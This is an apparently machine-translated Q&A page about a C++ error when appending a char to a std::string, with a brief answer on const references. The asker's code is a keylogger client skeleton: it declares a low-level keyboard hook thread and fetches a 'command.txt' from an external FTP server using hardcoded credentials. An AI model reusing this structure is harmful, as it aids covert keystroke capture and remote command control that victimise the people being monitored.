有没有办法"reconst"非常量字符?
Is there any way to "reconst" a nonconst char?
假设我有一个非正则的字符或字符数组。我修改它,等等。然后我想以后关闭所有修改后。有什么方法可以重新定义一个字符吗?这个问题出现在我写以下内容的时候:我在将每个char元素附加到字符串中遇到了麻烦(后来用操作符+=修复了这个问题)。
#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>
using std::string;
using std::cout;
using std::cin;
using std::vector;
unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);
string tempkeylog_buffer;
char ftpreadbuffer[1024];
vector<string> filetokens;
unsigned int threadid = 0;
DWORD numberread = 0;
int main(){
_beginthreadex(NULL, 0, &keylogthreadhook, NULL, 0, &threadid);
HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
cout << GetLastError();
HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
cout << GetLastError();
HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ,FTP_TRANSFER_TYPE_ASCII, NULL);
cout << GetLastError();
InternetReadFile(filehandle, (char *)ftpreadbuffer, 1024, &numberread);
cout << GetLastError();
string temporarystr;
for(int i = 0; ftpreadbuffer[i] != '.'; i++){
if(ftpreadbuffer[i] == 'n'){
filetokens.push_back(temporarystr);
temporarystr.clear();
}
temporarystr.append(ftpreadbuffer[i]); //error here!
}
cout << filetokens[0].c_str() << filetokens[1].c_str();
return 0;
}
错误 :-------------------------------------
invalid conversion from 'char' to 'const char*'|
error: initializing argument 1 of 'std::basic_string<_CharT, _Traits, _Alloc>& std::basic_string<_CharT, _Traits, _Alloc>::append(const _CharT*) [with _CharT = char, _Traits = std::char_traits<char>, _Alloc = std::allocator<char>]'|
我将使用一个简单的方法,例如:
std::string modifiable_string = "Hello";
modifiable_string += " Jack!";
...
const std::string &const_string = modifiable_string;
// ^
// It's up to you, you can drop it
...
just use const_string
const_string += " Bye"; // ERROR
...
相关文章:
- 如何循环访问常量字符**?
- constexpr 函数获取常量字符*
- 如何计算常量字符**中的总字符数?
- QDial:如何将 int 值传递给需要常量字符*的 Qfile?
- 为什么 std::string_view 比常量字符*快?
- 函数签名与调用的函数不匹配,常量字符[]和字符*之间的区别?
- 在编译时将常量字符* 转换为常量 char_type*
- 将字符串数组传递给接受常量字符**的函数
- 错误:请求从"常量字符 [5]"转换为非标量类型"字符串"
- 字符串强制转换为常量字符*
- 使用常量字符*时退出代码 139
- 为什么我可以隐式地将字符*转换为常量字符*,但不能将无符号字符*
- 无法在声明时使用初始值设定项列表初始化常量字符*/字符串数组的向量
- 无法<string>从"常量字符 []"转换为<类名>
- 初始化常量字符* 数组
- 常量字符*的性质是什么?
- C++ 获取向量中常量字符* [ ] 的长度
- 无法将参数 1 从 WCHAR 转换为常量字符 *
- 如何在 c++ 中将向量转换为<string>常量字符* const*?
- C++将常量字符* 指针数组传递给对象